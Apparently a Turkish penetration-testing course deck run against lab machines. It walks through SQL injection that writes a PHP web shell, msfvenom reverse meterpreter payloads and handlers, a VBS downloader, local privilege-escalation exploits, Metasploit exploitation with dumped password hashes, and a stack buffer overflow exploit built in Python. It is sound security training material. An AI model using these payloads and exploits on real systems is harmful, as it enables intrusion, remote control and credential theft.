Professional Documents
Culture Documents
Uygulamalı Sızma Testi (Pentest) Eğitimi Sunumu
Uygulamalı Sızma Testi (Pentest) Eğitimi Sunumu
SIZMA TESTİ
(PENTEST) EĞİTİMİ
Çözünürlük
Klavye Ayarları
KALİ LİNUX KURULUMU
Host bilgisayarınızla Kali Linux guest bilgisayarınız arasında sürükle bırak
kopyalama yapabilmek ve clipboard'u kullanabilmek için.
3
SİSTEM – 1
SİSTEM – 1 (IMAJI IMPORT ETME)
• Sistem-1'i OVF dosyasından sanallaştırma
uygulamanıza import ediniz.
SİSTEM – 1 (IMAJI IMPORT ETME)
OVF dosyasından sistem imajımızı
import etmek için mevcut bir
sanal makineyi açarmış gibi OVF
dosyasını seçiyoruz.
SİSTEM – 1 (IMAJI IMPORT ETME)
# netdiscover -r 192.168.163.0/24
SİSTEM – 1 (SENARYO)
# nmap -A 192.168.163.137
# nikto -h 192.168.163.137
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO)
# dirb http://192.168.163.137
SİSTEM – 1 (SENARYO)
# grep -r -i "vers" .
-r: Recursive
-i: Ignore case
SİSTEM – 1 (SENARYO)
http://[host]/admin/index.php?
app=users&ajax=1&action=search&keyword=1%27%29%20UNION%20SELECT
%201,2,3,4,5,6,7,8,%27%3C?%20phpinfo%28%29;%20?%3E%27%20INTO
%20OUTFILE%20%27/tmp/.class.php%27%20--%202%20
SİSTEM – 1 (SENARYO)
http://[host]/admin/index.php?app=users&ajax=1&action=search&keyword=1')
UNION SELECT 1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO OUTFILE '/tmp/.class.php' -- 2
SİSTEM – 1 (SENARYO)
http://192.168.163.137/admin/index.php?
app=users&ajax=1&action=search&keyword=1') UNION SELECT 1,2,3,4,5,6,7,8 ,'<?
php phpinfo(); ?>' INTO OUTFILE '/var/www/html/test.php' -- 2
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO)
http://192.168.163.137/admin/index.php?
app=users&ajax=1&action=search&keyword=1') UNION SELECT 1,2,3,4,5,6,7,8 , "<?
php System($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/cmd.php' -- 2
SİSTEM – 1 (SENARYO)
cmd.php uygulaması
sayesinde hedef bilgisayar
üzerinde sistem komutu
çalıştırmayı başardık.
# msfvenom -p php/meterpreter/reverse_tcp
LHOST=192.168.163.138 LPORT=4444 -f raw > payload.txt
Saldırı bilgisayarımızdan
oluşturduğumu PHP payload'unu hedef
bilgisayara aktarıyoruz.
SİSTEM – 1 (SENARYO)
# msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.163.138
set LPORT 4444
run
SİSTEM – 1 (SENARYO)
http://192.168.163.137/reverse.php
Ubuntu 14.04
Kernel 3.13.0-32-generic
SİSTEM – 1 (SENARYO)
Hedef bilgisayarın işletim sistemi kernel
versiyonuna uygun bir Local Privilege
Escalation exploit'u arayabiliriz.
SİSTEM – 1 (SENARYO)
Bulduğumuz kaynaklar içinde bazen
exploit kaynak koduna bazen de
derlenmiş exploit koduna
rastlayabiliriz. Derleme işleminin en
sağlıklı yapılabileceği sistem hedef
sistemdir, ancak her zaman hedef
sistem üzerinde bir derleyici
bulamayabiliriz. Bu gibi durumlarda
derlenmiş bir exploit bizim için daha
pratik olacaktır.
SİSTEM – 1 (SENARYO)
Derlenmiş exploit kodunu barındıran
bir github kütüphanesinden 64 bitlik
kernel exploit'umuzu indirelim.
SİSTEM – 1 (SENARYO)
YETKİ YÜKSELTME –
PRIVILEGE ESCALATION exit (shell'den ayrılıyoruz)
[Meterpreter]
upload ./Downloads/ofs_64
shell
[Shell]
cd /tmp
ls -al ofs_64
chmod +x ofs_64
./ofs_64
# id
SİSTEM – 1 (SENARYO)
ÖZETLE;
• Port taraması ile tespit ettiğimiz web
uygulamasının açıklık barındıran bir uygulama
olduğunu öğrendik.
• Uygulamanın admin logon sayfasını tespit ettik
ve admin şifresini sözlük saldırısı ile kırdık.
• Admin profili ile SQLi saldırısı gerçekleştirerek
hedef sisteme sistem komutları çalıştırabilen bir
PHP dosyası yazdık.
• "msfvenom" ile bir PHP reverse meterpreter
payload'u oluşturduk ve bu dosyayı hedef
sisteme attık.
SİSTEM – 1 (SENARYO)
ÖZETLE (devamı);
• "msfconsole" uygulamasının
exploit/multi/handler modülü ile reverse
bağlantıyı karşıladık ve meterpreter oturumu
başlattık. Sağladığımız erişim "www-data" adlı
kullanıcı haklarıyla sağlanmıştı.
• Yetki yükseltme için bilgi topladık ve bir local
privilege exploit kullanarak "root" kullanıcısı
olduk.
Not: Normalde yetki yükseltme aşamasına hemen geçmeden "www-data"
kullanıcısının dahil olduğu grupları ("id" komutu ile) ve sudo haklarını ("sudo
–l" komutu ile) kontrol etmemiz gerekir. Belki de zaten yüksek erişim
haklarına sahibizdir.
SİSTEM – 2
SİSTEM – 2 (SENARYO)
BU ADIMDAN SONRA
EĞİTMENİNİZİN
SİSTEMİNİZDE BİR İŞLEM
GERÇEKLEŞTİRMESİ
GEREKLİDİR !!!
# netdiscover -r 192.168.163.0/24
SİSTEM – 2 (SENARYO)
Nmap'in işletim sistemi
tahmini
# nmap -A 192.168.163.140
SİSTEM – 2 (SENARYO)
Hedef bilgisayarımızın
Windows olduğundan
şüpheleniyoruz, ancak
Netbios taraması herhangi bir
sonuç döndürmedi.
Neden?..
SİSTEM – 2 (SENARYO)
Netbios taramasından
sunucu adını öğrenemesek
de SNMP sorguları ile
sunucunun adını elde
edebildik.
Hedef sunucumuz
92.222.129.112 IP adresli
başka bir sunucuyla TCP 80
portundan iletişim kurmuş
görünüyor.
SİSTEM – 2 (SENARYO)
Whois sorgusunda
92.222.129.112 IP adresinin
de içinde bulunduğu IP
aralığının sahibinin ALLPlayer
olarak geçiyor. Artur bir kişi
ismine benziyor.
# whois 92.222.129.112
SİSTEM – 2 (SENARYO)
SİSTEM – 2 (SENARYO)
Çalışan proses'lerden
birisinin adı ALLMediaServer
olarak geçiyor.
SİSTEM – 2 (SENARYO)
Reverse TCP
bağlantısının kurulması
için bilgisayarımızın IP
adresini kontrol edelim.
SİSTEM – 2 (SENARYO)
Bizim oluşturduğumuz
shell code.
SİSTEM – 2 (SENARYO)
Kendi shellcode'umuzu
yerleştirdikten sonra
istismar kodundaki
yerel değişken
isimlerinden dolayı
taranmış alanda da
gösterilen düzenlemeyi
yapıyoruz.
SİSTEM – 2 (SENARYO)
cacls C:\btrisk
Kullanıcımızın da içinde
olduğu Administrators
grubunun C:\btrisk
dizinine Full erişim
hakkı var.
SİSTEM – 2 (SENARYO) Hedef sistem üzerinde
daha rahat işlem
echo strUrl = WScript.Arguments.Item(0) > wget.vbs yapabilmek için dosya
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
aktarabilmemiz lazım.
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs Windows ortamında
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs wget benzeri bir
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs,fonksiyonaliteyi
ts >> wget.vbs bu vb
echo Err.Clear >> wget.vbs script ile oluşturabiliriz.
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
SİSTEM – 2 (SENARYO)
Script'imizi yazarken
erişim hakkı problemi
yaşamamak için
C:\Windows\Temp
dizinine geçiyoruz.
SimpleHTTPServer Python
modülü ile basit bir HTTP
servisini içinde
bulunduğumuz dizin içinde
# python -m SimpleHTTPServer 80 başlatıyoruz.
./windows-exploit-suggester.py --update
Windows-exploit-suggester.py script'imize
çalıştırma izni verdikten sonra "--update"
opsiyonuyla çalıştırıyoruz. Bu işlem
sayesinde script'imiz güncel güncelleme
listesini bir XLS dosyası olarak indiriyor.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo
locate nc.exe
python -m SimpleHTTPServer 80
Bu PowerShell oneliner ile hedef sisteme bir dosyayı HTTP üzerinden indirebiliriz.
PowerShell son derece güçlü bir araç ve oldukça esnek. Bu nedenle gerçek hayat
senaryolarında izlenme ihtimali de yüksek olduğundan Red Team senaryolarında
daha önce oluşturduğumuz VBS script'inin tercih edildiği durumlar da olabilir.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo
Bir Linux sistemi olan Sistem-1 senaryosunda NetCat'i hedef sisteme dosya
aktarmak için bir PHP uygulaması aracılığı ile kullanmıştık. Bu defa tam tersi yönde
dosya aktarımı için NetCat'i kullanacağız. Bu imkan sayesinde hedef sistem
üzerinde çalıştırdığımız "systeminfo" komutunun çıktısını dosya olarak indireceğiz.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo
./windows-exploit-suggester.py -i systeminfo.txt -d
2019-01-11-mssb.xls > winexploits.txt
Bu adımda pek çok exploit tek tek denenebilir, ancak kararlı bir lokal exploit'i daha
önceden deneyimlemişseniz elbette ilk denemek isteyeceğiniz exploit bu olabilir.
Bu örnekte pek çok saldırıda da kullanıldığını bildiğimiz MS14-058 lokal exploit'ini
kullanacağız. Bu exploit'in Metasploit modülü de var, ancak biz bu örnekte farklı
bir exploit kodunu internetten bularak kullanacağız.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo
Win64.exe shell.exe
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo
SORU: /usr/sbin/nologin
ve /bin/false gibi dosyalar ne
işe yarıyor olabilir?..
/etc/profile
~/.bash_profile
~/.bash_login
~/.profile
LINUX SHELL ORTAMI
stdout yönlendirme
(redirection)
">"
LINUX SHELL ORTAMI
stdout yönlendirme
(redirection) yapılsa da stderr
konsola yazılmaya devam
ediyor.
LINUX SHELL ORTAMI
stdin yönlendirme
(redirection)
"<"
LINUX SHELL ORTAMI
Setuid / setguid hakkına sahip dosyalar güvenlik denetimlerinde özellikle incelenir, çünkü
bu uygulamalar yüksek erişim hakkına sahip olduklarından düşük kullanıcı hakkına sahip
kullanıcılar tarafından kötüye kullanılabilirler. Ayrıca bu uygulamalardaki bir açıklık yüksek
kullanıcı haklarının herhangi bir işlem gerçekleştirilebilmesine de olanak tanıyabilir.
LINUX DOSYA SİSTEMİ İŞLEMLERİ
"locate" komutu “which” komutu gibi ne çalıştırılabilir dosyalara özeldir ne de sadece PATH
değişkeninde geçen dizinleri arar. “locate” komutu bir veritabanı içinde dosya isimlerini
arar. Bu veritabanı bir “cron” işiyle periyodik olarak güncellenirEğer veritabanını manuel
olarak güncellemek isterseniz “updatedb” komutuyla da bu işlemi yapabilirsiniz.
LINUX DOSYA BULMA İŞLEMLERİ
Comment
Command Substitution
LINUX SHELL SCRIPTING
EGZERSİZ
"/etc/passwd" dosyası
LINUX KULLANICI YÖNETİMİ
"/etc/group" dosyası
LINUX KULLANICI YÖNETİMİ
"/etc/shadow" dosyası
LINUX KULLANICI YÖNETİMİ
"tcpdump"
stdout'a yazdırma
LINUX AĞ TRAFİĞİ İZLEME
"tcpdump"
filtreleme
LINUX AĞ TRAFİĞİ İZLEME
Wirehark
filtreleme
LINUX AĞ TRAFİĞİ İZLEME
Wirehark
TCP Stream
LINUX AĞ TRAFİĞİ İZLEME
EGZERSİZ
"cat" komutu
Adı "concatenate" kelimesinden gelir,
dosyaları birleştirmek için pratik bir
komuttur, ancak tek bir dosya içeriğini
incelemek için de kullanılabilir
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"vi" komutu
Çok sayıda tuş komutunu ezberlemeniz gerekir
ESC + "i" karakteri ile "input" moda geçebilirsiniz
ESC + ":" karakteri ile "komut" muduna geçebilirsiniz
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"nano" editörü
Linux'la yeni tanışanlar için daha "vi"a
nazaran daha iyi bir alternatif
diyebiliriz
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"head" komutu
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"tail" komutu
"-f" opsiyonu ile sürekli güncelleme yapar, bu nedenle
özellikle log dosyalarını izlemek için tercih edilir
BİLGİ
TOPLAMA
İÇERİK
• Hedef IP Aralığı Tespiti
• Canlı Sunucu Tespiti
• Port Tarama
• Servis ve İşletim Sistemi Tespiti
• Kullanıcı Tespiti
HEDEF IP ARALIĞI TESPİTİ
IP Aralıkları Tespit Yöntemleri
AFRINIC (Afrika)
APNIC (Asya Pasifik)
ARIN (Kuzey Amerika)
LACNIC (Latin Amerika)
RIPE NCC (Avrupa, Orta Asya, Orta
Doğu)
HEDEF IP ARALIĞI TESPİTİ
RIPE NCC
HEDEF IP ARALIĞI TESPİTİ
Internet üzerinde iletişim kurmak için ihtiyacınız olacak IP
adresini iki şekilde alabilirsiniz:
• Birinci yol olarak bir barındırma hizmeti firmasının veya
abonesi olduğunuz bir ISP (İnternet Servis Sağlayıcı - İSS)
firmasının size sabit olarak veya dinamik olarak atayacağı bir
IP adresini kullanmaktır. Dinamik olarak IP adresinin
atanmasından kasıt cihaz veya sunucunuzu her yeniden
başlatışınızda müsait olan bir IP adresinin size atanması, statik
olarak atanmasından kasıt ise cihaz veya sunucunuzu tekrar
başlatsanız da aynı IP adresini kullanmaya devam etmenizdir.
• İkinci yol ise sizin bölgesel internet adres otoritesinden kendi
adınıza ayırtmış olduğunuz IP adresleri veya IP adres
aralığından bir adresi sunucunuza atamanızdır.
HEDEF IP ARALIĞI TESPİTİ
TESPİTİ ZOR IP ADRES ARALIKLARI
Eğer kurum bir ISP kuruma ait bir IP aralığını kullanıyor, ancak
hali hazırda bu aralıkta bulunan sunuculardan herhangi bir HTTP
servisi vermiyor veya bu IP adresleri ile ilgili herhangi bir DNS
kaydı tanımlamamışsa bu aralığı bulmak pek mümkün değildir.
Çünkü IP aralığı tespit yöntemlerimiz kurumun adının internet
otoritelerinin veritabanlarında geçiyor olmasına (ki ISP IP
aralığının kullanılması durumunda bu mümkün olmayacaktır),
verdiği HTTP servisleri ve bu servisleri verdiği sunucuların alan
adları içinde kurum adının geçiyor olmasına, veya yapacağımız
forward, zone transfer ve bruteforce DNS sorgularında bu IP
adreslerinin görünmesi üzerine kuruludur. Bu açılardan hiçbir iz
bırakılmamışsa bizim bu IP aralığını tespit etmemiz zordur. (ör:
FKM sistemlerinin IP adresleri)
HEDEF IP ARALIĞI TESPİTİ
Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
HEDEF IP ARALIĞI TESPİTİ
Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
HEDEF IP ARALIĞI TESPİTİ
IP Whois Araçlarını Kullanmak
# dmitry 193.186.4
HEDEF IP ARALIĞI TESPİTİ
IP Whois Araçlarını Kullanmak
dmitry projesi
iwhois.h
dmitry projesi
iwhois.c
HEDEF IP ARALIĞI TESPİTİ
EGZERSİZ
Bing
domain:btrisk.com
HEDEF IP ARALIĞI TESPİTİ
Açık Referanslardan Belirli Sunucu Tiplerinin Tespiti
Google
site:btrisk.com -site:www.btrisk.com
HEDEF IP ARALIĞI TESPİTİ
Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
HEDEF IP ARALIĞI TESPİTİ
Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
HEDEF IP ARALIĞI TESPİTİ
DNS Sorguları (Type ANY sorgusu)
Kali
# host -a btrisk.com
HEDEF IP ARALIĞI TESPİTİ
DNS Sorguları (Type ANY sorgusu)
Windows
(nslookup) > set type=all
HEDEF IP ARALIĞI TESPİTİ
EGZERSİZ
• "host" komutu ile belli bir alan adı için yaptığınız bir DNS
sorgusunu Wireshark ile inceleyiniz. Sorgulanan kaydın tipi
nedir?
• "host" komutunun neticesinde sorgunun iletildiği sunucu IP
adresi nedir?
• DNS sorgunuzu 4.4.4.4 IP adresine iletecek komut değişikliğini
yapınız.
HEDEF IP ARALIĞI TESPİTİ
DNS Sorguları (Type AXFR sorgusu – Zone Transfer)
# dnsrecon -r 31.210.54.1-31.210.54.254
HEDEF IP ARALIĞI TESPİTİ
Çeşitli kaynaklardan hedef verisi toplayan araçlara örnek – the Harvester
Wireshark bu paketin
uygulama katmanında HTTP
protokolünün taşındığını nasıl
anlamış olabilir?..
CANLI SUNUCU TESPİTİ
EGZERSİZ
ICMP'nin IP
protokol
numarası "1"
CANLI SUNUCU TESPİTİ
ICMP Paket Örneği
# nmap -sS
-p21,22,23,25,53,80,139,264,389,443,445,1433,1521,2049,3128,3306,338
9,5060,8080 192.168.163.129
CANLI SUNUCU TESPİTİ
Sık Rastlanan Servis Portlarının Taranması (UDP Tarama)
Unique isimlerinden
<00> – Workstation adı,
Group isimlerinden
<00> – Workgroup, domain adı anlamına
gelir.
Ayrıca bazı Netbios suffix’leri sunucu üzerinde
çalışan servisler ve diğer bilgileri ifade eder
(örneğin Unique isimlerinden 20 - dosya
sunucusu olduğunu, Group isimlerinden 1C
domain controller olduğunu belirtir).
CANLI SUNUCU TESPİTİ
NetBIOS İsim Servisinin Taranması
#!/usr/bin/perl
use IO::Socket::INET;
# flush
$| = 1;
my ($socket,$client_socket);
my ($peeraddress,$peerport);
$socket = new IO::Socket::INET (
LocalHost => '0.0.0.0',
LocalPort => '5000',
Proto => 'tcp',
Listen => 5,
Reuse => 1
) or die "Soket olusturulamadi : $!\n";
print "TCP sunucu dinliyor ...\n";
while(1) {
$client_socket = $socket->accept();
$peer_address = $client_socket->peerhost();
$peer_port = $client_socket->peerport();
print "Yeni baglanti : $peeraddress, $peerport\n ";
while(1) {
$client_socket->recv($data,1024);
print "Istemciden alinan veri : $data\n";
if ($data eq "selam\n") {
$data = "Sana da selam...\n";
$client_socket->send($data);
}
}
}
$socket->close();
PORT TARAMA
TCP Servis Örneği
TCP servisimizi
başlatıyoruz
PORT TARAMA
TCP Servis Örneği
İSTEMCİ SUNUCU
SYN paketi
İstemci sıra numarasını
üretiyor
PORT TARAMA
TCP Servis Örneği
ACK paketi
İstemci sunucu'nun sıra
numarasını acknowledge
ediyor.
Yani sunucunun sıra
numarasına "1" ekleyerek
geri gönderiyor.
PORT TARAMA
TCP Servis Örneği
#!/usr/bin/perl
use IO::Socket::INET;
# flush
$| = 1;
my ($socket,$received_data);
$socket = new IO::Socket::INET (
LocalPort => '5000',
Proto => 'udp',
) or die "Soket olusturulamadi : $!\n";
print "UDP sunucu dinliyor ...\n";
while(1) {
$socket->recv($received_data,1024);
print "Istemciden alinan veri : $received_data\n";
if ($received_data eq "selam\n") {
Şimdi UDP iletişimini
$socket->send("Sana da selam...\n");
}
}
analiz etmek üzere aynı
fonksiyonaliteyi bir UDP
$socket->close();
servisi üzerinden
sağlayalım.
PORT TARAMA
UDP Servis Örneği
UDP servisimizi
başlatıyoruz
PORT TARAMA
UDP Servis Örneği
# nc –u 192.168.1.149 5000
PORT TARAMA
UDP Servis Örneği
TCP bağlantısında bu
aşamada el sıkışma
paketleri iletilmişti.
UDP için böyle bir durum
söz konusu değil, yani
aslında sunucu henüz
istemcinin varlığının
farkında bile değil.
PORT TARAMA
UDP Servis Örneği
Bu defa sunucunun
anladığı dilden bir istek
gönderiyoruz.
Sunucu da bize bir yanıt
veriyor.
PORT TARAMA
UDP Servis Örneği
Firewall aktifken kapalı UDP portları ile açık ancak beklediği girdiyi almadığında
yanıt üretmeyen UDP portları aynı biçimde davrandığından tüm bu portların
kapalı olduğuna kanaat getirdi.
Nmap'in SNMP protokolü (UDP 161) için hazır probe payload’u bulunduğundan
nmap bu portu net olarak açık şeklinde belirledi. Ancak diğerlerini gözden
kaçırdı.
PORT TARAMA
Full UDP Port Tarama
#!/usr/bin/perl
use IO::Socket::INET;
# flush
$| = 1;
my ($socket,$client_socket);
my ($peeraddress,$peerport);
$socket = new IO::Socket::INET (
LocalHost => '0.0.0.0',
LocalPort => '5000',
Proto => 'tcp',
Listen => 5,
Reuse => 1
) or die "Soket olusturulamadi : $!\n";
print "TCP sunucu dinliyor ...\n";
while(1) {
$client_socket = $socket->accept();
my $data = "220 BTRisk FTP Sunucusuna Hoşgeldiniz\r\n220 ProFTPD 1.3.5 Server (ProFTPD)";
$client_socket->send($data);
}
$socket->close();
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
Null probe dışında bir örnek vermek gerekirse HTTP servislerini tespit etmeye
yönelik bir probe örneği olarak bu örnek verilebilir, bir GET isteğinden sonra iki
enter’ı ifade eden bir probe sonrasında aşağıda gelen match ifadeleri bekleniyor.
Ancak port numaraları sınırlanmış. Bizim nmap taramamızda kullandığımız "--
version-all" opsiyonu bu sınırlandırmayı iptal ediyor.
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim Sistemi ve Versiyonu Tespiti
# nmap -O 192.168.163.131
Hedefteki sunucumuz
Windows 7 Home Basic – SP1
işletim sistemine sahip
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim Sistemi ve Versiyonu Tespiti
Servis
enumeration
İşletim sistemi
enumeration
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
NMAP Aggressive Scan
# nmap -A 192.168.163.131
Script scan
sonuçları
Traceroute
sonuçları
KULLANICI TESPİTİ
Null Session Enumeration
Windows
Linux
Arama motorlarından E-
Posta adresleri tespiti
internet'ten VPN, Terminal
Servisi, E-Posta Sunucu
erişimleri, sosyal
mühendislik amaçlarına
hizmet edebilir
KULLANICI TESPİTİ
E-posta Adreslerinin Tespiti
SMTP enumeration
Açıkçası pek karşılaşılmasa da EXPN ve VRFY SMTP komutları ile ismini bizim
verdiğimiz kullanıcıların hedef sistem üzerinde tanımlı olup olmadıklarını tespit
edebiliriz. Ancak bu tür bir testte hedefi doğru belirleyebilmeniz için zaten
şüpheli öntanımlı kullanıcıları hedef almanız lazım. Bu durumda SMTP
enumeration yöntemi sadece basit bir doğrulama imkanı sunabilir.
METASPLOIT
VE
METERPRETER
İÇERİK
• Metasploit Kullanımı
• Meterpreter Kullanımı
• Post Exploitation ve Yetki Yükseltme
• Handler Modülü
• Hashdump
METASPLOIT KULLANIMI
Metasploit'in en sık kullanılan
ve desteklenen arayüzü konsol
arayüzüdür.
METASPLOIT KULLANIMI
use exploit/windows/misc/allmediaserver_bof
METASPLOIT KULLANIMI
netdiscover -r 192.168.163.0/24
exploit
hashdump (Meterpreter
komutu)
Meterpreter payload'umuz
çalıştığında desteklenen
meterpreter komutlarını "help"
komutuyla görebiliriz.
Hashdump komutunun yanıt
döndürebilmesi için mevcut
erişim haklarımız yeterli
olmadı.
METERPRETER KULLANIMI
getsystem
run post/windows/gather/win_privs
Local Admin grubundayız,
ancak UAC'de aktif olduğu
için Admin haklarımızı
kullanamıyoruz.
Windows 7 işletim
sistemimiz üzerinde UAC
kontrolünün aktif olduğunu
görebiliriz.
POST EXPLOITATION VE YETKİ YÜKSELTME
Bu defa yetki yükseltme işlemimizi yine bir lokal exploit
kullanarak, ancak işlemimizi tamamen Metasploit
platformunun kolaylıklarını kullanarak gerçekleştireceğiz.
search local
POST EXPLOITATION VE YETKİ YÜKSELTME
show options
set session 1
POST EXPLOITATION VE YETKİ YÜKSELTME
run
whoami
POST EXPLOITATION VE YETKİ YÜKSELTME
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1000:aad3b435b51404eeaad3b435b51404ee:979357191cb4f445b47292af934fd2a7:::
BELLEK
TAŞMA
AÇIKLIKLARI
İÇERİK
• Stack Tabanlı Bellek Taşması
• Kullanılacak Araçlar
• Uygulamanın Fuzz Edilmesi
• Python Script
• EIP Register Kontrolü
• Stack Alanı
• Bad Char
• Return Address – JMP ESP
• Shellcode
• Metasploit’ Exploit Ekleme Adımları
STACK TABANLI BELLEK TAŞMASI
STACK’İN KULLANIM AMAÇLARI
EIP
Bir sonra çalışacak olan instruction’ın adresi
EBP ve ESP
İçinde bulunulan fonksiyonun stack frame’inin taban ve tavan adreslerini
barındıran register’lar
EFLAGS
Çeşitli instruction’lar tarafından etkilenen ve kullanılan bayrakları barındıran 32
bit’lik bir register
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i
./pattern_create.rb -l 200
FUZZING – IMMUNITY DEBUGGER
#!/usr/bin/python
import socket
buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3
Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7A
c8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6
Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
s=socket.socket
(socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514)) Oluşturduğumuz pattern'ı
BTRSyslog'a göndermek için yandaki
s.send(buffer) script'i kullanabiliriz.
s.close Ancak BTRSyslog uygulamamızı
baştan başlatmayı unutmayınız.
EIP REGISTER KONTROLÜ
Register'lar
Instruction'lar EIP = 0x65413565
Stack alanı
./pattern_offset.rb -q 65413565
EIP REGISTER KONTROLÜ
• 136. offset değerinin doğruluğunu test etmek için şu
formatta bir payload üretebiliriz:
AAAAAAAAAAAAA...AAAAAABBBBCCCCCCCC...CCC
EIP REGISTER KONTROLÜ
#!/usr/bin/python
import socket
buffer = "A" * 136 + "B" * 4 + "C" * 60
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
EIP REGISTER KONTROLÜ
• Scriptimiz çalıştıktan sonra EIP register'ının
0X42424242 değerleri ile ezildiğini görüyoruz. Bu
durumda EIP offset değerimizin doğruluğundan emin
olabiliriz.
STACK ALANI
• EIP register değerini manipüle ettikten sonra sıra
belleğe kendi kodumuzu yazmaya geldi. İşe yarar bir
shellcode'un boyutu 350-400 byte civarında olacaktır.
• EIP değerini ezmeden önce kullandığımız alan 136
byte olduğundan tercihimiz EIP register'ının ezildiği
noktadan sonra shellcode'umuzu yerleştirmek olabilir.
• Ancak shellcode'umuzu yazdığımızda Stack alanının
başlangıç sınırını aşmayacağımızdan emin olmamız
lazım. Aksi taktirde payload'umuz yazılırken hata alırız
ve daha kodumuz çalışmadan uygulama sonlanır.
STACK ALANI
#!/usr/bin/python
import socket
buffer = "A" * 136 + "B" * 4 + "C" * 460
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
EIP'yi ezdiğimiz alandan sonra
yeterli alan bulunup
bulunmadığını test etmek için
payload'umuza 460 byte'lık bir
değer ekleyelim.
STACK ALANI
!mona modules
RETURN ADDRESS – JMP ESP
"mona" bize aradığımız instruction'ın adresini bulmamızda da yardımcı oluyor.
Normalde bu instruction'ın opcode'larını bularak binary bir arama yapmamız gerekirdi.
Ancak "mona" bizim için bunu bile kendisi yapıyor.
0x5060103b
#!/usr/bin/python
import socket
buffer = "A" * 136 + "\x3b\x10\x60\x50" + "C" * 460
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close EIP'yi ezdiğimiz alana Little
Endian formatında
"0x5060103b" değerini
yazıyoruz.
SHELLCODE
• "JMP ESP" işlemi gerçekleştiğinde "CC" karakterlerinin
olduğu alana atlayacağız. Bu adımı gözlemlemek ve
uygulama akışını payload'umuza yönlendirdiğimizden
emin olabilmek için debugger'ımızda atlama
adresimize "Breakpoint" koyabiliriz.
• Bunu yapmadığımız taktirde uygulamamız hata alarak
sonlanacak, çünkü yüklediğimiz payload işe yarar bir
payload değil.
SHELLCODE
Step into
SHELLCODE
Follow in Dump -
Selection
SHELLCODE
• Breakpoint koymakla uğraşmak yerine şu şekilde de
payload'umuza atlandığından emin olabilirdik.
• "0xCC" değeri "INT 3", yani software breakpoint
instruction'ı anlamına gelir. ASCII C (yani "0x43")
karakterlerini yazdığımız alana bu değeri yazsaydık
uygulama payload'umuza atladığı anda breakpoint
uygulanabilirdi.
SHELLCODE
#!/usr/bin/python
import socket
buffer = "A" * 136 + "\x3b\x10\x60\x50" + "\xCC" * 460
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
